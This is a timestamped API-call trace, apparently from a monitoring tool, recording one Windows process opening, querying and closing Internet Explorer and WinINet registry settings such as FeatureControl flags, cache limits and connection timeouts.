06:38:12,162	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,162	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,162	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_CHUNK_TIMEOUT_KB914453	FAILURE	0x00000002
06:38:12,162	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,162	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,162	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,162	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,162	996	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,162	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,162	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,172	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,172	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,172	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,172	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_CERT_TRUST_VERIFIED_KB936882	FAILURE	0x00000002
06:38:12,172	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,172	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,172	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,172	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002
06:38:12,172	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,172	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => DisableWorkerThreadHibernation Type => 416	FAILURE	0x00000002
06:38:12,172	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,172	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableWorkerThreadHibernation Type => 132	FAILURE	0x00000002
06:38:12,172	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableReadRange Type => 132	FAILURE	0x00000002
06:38:12,172	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SocketSendBufferLength Type => 132	FAILURE	0x00000002
06:38:12,172	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SocketReceiveBufferLength Type => 132	FAILURE	0x00000002
06:38:12,172	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => KeepAliveTimeout Type => 132	FAILURE	0x00000002
06:38:12,172	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => MaxHttpRedirects Type => 132	FAILURE	0x00000002
06:38:12,172	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => MaxConnectionsPerServer Type => 132	FAILURE	0x00000002
06:38:12,172	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => MaxConnectionsPer1_0Server Type => 132	FAILURE	0x00000002
06:38:12,172	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => ServerInfoTimeout Type => 132	FAILURE	0x00000002
06:38:12,182	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => ReceiveTimeOut Type => 132	FAILURE	0x00000002
06:38:12,182	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableNTLMPreAuth Type => 132	FAILURE	0x00000002
06:38:12,182	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => ScavengeCacheLowerBound Type => 132	FAILURE	0x00000002
06:38:12,182	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => CertCacheNoValidate Type => 132	FAILURE	0x00000002
06:38:12,182	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
06:38:12,182	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => ScavengeCacheFileLifeTime Type => 416	FAILURE	0x00000002
06:38:12,182	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,182	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,182	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 416	FAILURE	0x00000002
06:38:12,182	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,182	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	FAILURE	0x00000002
06:38:12,182	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	FAILURE	0x00000002
06:38:12,182	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
06:38:12,182	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
06:38:12,182	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => ScavengeCacheFileLimit Type => 412	FAILURE	0x00000002
06:38:12,182	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => ScavengeCacheFileLimit Type => 416	FAILURE	0x00000002
06:38:12,182	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,182	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,182	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,192	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,192	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,192	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,192	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,192	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,192	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,192	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,192	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_BUFFERBREAKING_818408	FAILURE	0x00000002
06:38:12,192	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,192	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,192	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,192	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,192	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,192	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,192	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,192	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,192	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,192	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,192	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_SKIP_POST_RETRY_ON_INTERNETWRITEFILE_KB895954	FAILURE	0x00000002
06:38:12,202	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,202	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,202	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,202	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,202	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,202	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,202	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,202	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,202	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,202	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,202	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_ENSURE_FQDN_FOR_NEGOTIATE_KB899417	FAILURE	0x00000002
06:38:12,202	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,202	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,202	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,202	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,202	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,202	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,202	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,202	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,202	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,202	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,212	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_HTTP_DISABLE_NTLM_PREAUTH_IF_ABORTED_KB902409	FAILURE	0x00000002
06:38:12,212	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,212	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,212	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,212	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,212	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,212	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,212	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,212	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,212	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,212	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,212	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_PERMIT_CACHE_FOR_AUTHENTICATED_FTP_KB910274	FAILURE	0x00000002
06:38:12,212	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,212	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,212	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,212	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,212	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,212	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,212	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,212	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,212	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,222	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,222	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_WPAD_STORE_URL_AS_FQDN_KB903926	FAILURE	0x00000002
06:38:12,222	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,222	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,222	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,222	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,222	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,222	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,222	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,222	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,222	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,222	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,222	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_USE_CNAME_FOR_SPN_KB911149	FAILURE	0x00000002
06:38:12,222	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,222	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,222	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,222	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,222	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,222	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,222	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,222	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,232	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,232	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,232	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_KEEP_CACHE_INDEX_OPEN_KB899342	FAILURE	0x00000002
06:38:12,232	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,232	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,232	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,232	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,232	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,232	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,232	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,232	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,232	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,232	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,232	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_WAIT_TIME_THREAD_TERMINATE_KB886801	FAILURE	0x00000002
06:38:12,232	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,232	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,232	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,232	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,232	996	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,242	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,242	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,242	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,242	996	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,242	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,242	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_FIX_CHUNKED_PROXY_SCRIPT_DOWNLOAD_KB843289	FAILURE	0x00000002
06:38:12,242	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,242	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,242	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,242	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => HttpDefaultExpiryTimeSecs Type => 132	FAILURE	0x00000002
06:38:12,242	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => FtpDefaultExpiryTimeSecs Type => 132	FAILURE	0x00000002
06:38:12,242	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => GopherDefaultExpiryTimeSecs Type => 132	FAILURE	0x00000002
06:38:12,242	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableCachingOfSSLPages Type => 132	FAILURE	0x00000002
06:38:12,242	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => PerUserCookies Type => 132	FAILURE	0x00000002
06:38:12,242	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => LeashLegacyCookies Type => 132	FAILURE	0x00000002
06:38:12,242	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableNT4RasCheck Type => 132	FAILURE	0x00000002
06:38:12,242	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,242	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => DialupUseLanSettings Type => 412	FAILURE	0x00000002
06:38:12,242	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,242	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => DialupUseLanSettings Type => 416	FAILURE	0x00000002
06:38:12,242	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,242	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,252	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SendExtraCRLF Type => 132	FAILURE	0x00000002
06:38:12,252	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => BypassFtpTimeCheck Type => 132	FAILURE	0x00000002
06:38:12,252	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableGopher Type => 132	FAILURE	0x00000002
06:38:12,252	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => ReleaseSocketDuringAuth Type => 132	FAILURE	0x00000002
06:38:12,252	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,252	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => ReleaseSocketDuring401Auth Type => 412	FAILURE	0x00000002
06:38:12,252	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,252	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => ReleaseSocketDuring401Auth Type => 416	FAILURE	0x00000002
06:38:12,252	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,252	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,252	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => WpadSearchAllDomains Type => 132	FAILURE	0x00000002
06:38:12,252	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,252	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => DisableLegacyPreAuthAsServer Type => 412	FAILURE	0x00000002
06:38:12,252	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,252	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => DisableLegacyPreAuthAsServer Type => 416	FAILURE	0x00000002
06:38:12,252	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,252	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,252	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,252	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => BypassHTTPNoCacheCheck Type => 412	FAILURE	0x00000002
06:38:12,252	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,252	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => BypassHTTPNoCacheCheck Type => 416	FAILURE	0x00000002
06:38:12,252	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,262	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,262	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,262	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => BypassSSLNoCacheCheck Type => 412	FAILURE	0x00000002
06:38:12,262	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,262	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => BypassSSLNoCacheCheck Type => 416	FAILURE	0x00000002
06:38:12,262	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,262	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,262	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,262	996	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => EnableHttpTrace Type => 412	FAILURE	0x00000002
06:38:12,262	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,262	996	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => EnableHttpTrace Type => 416	FAILURE	0x00000002
06:38:12,262	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,262	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,262	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
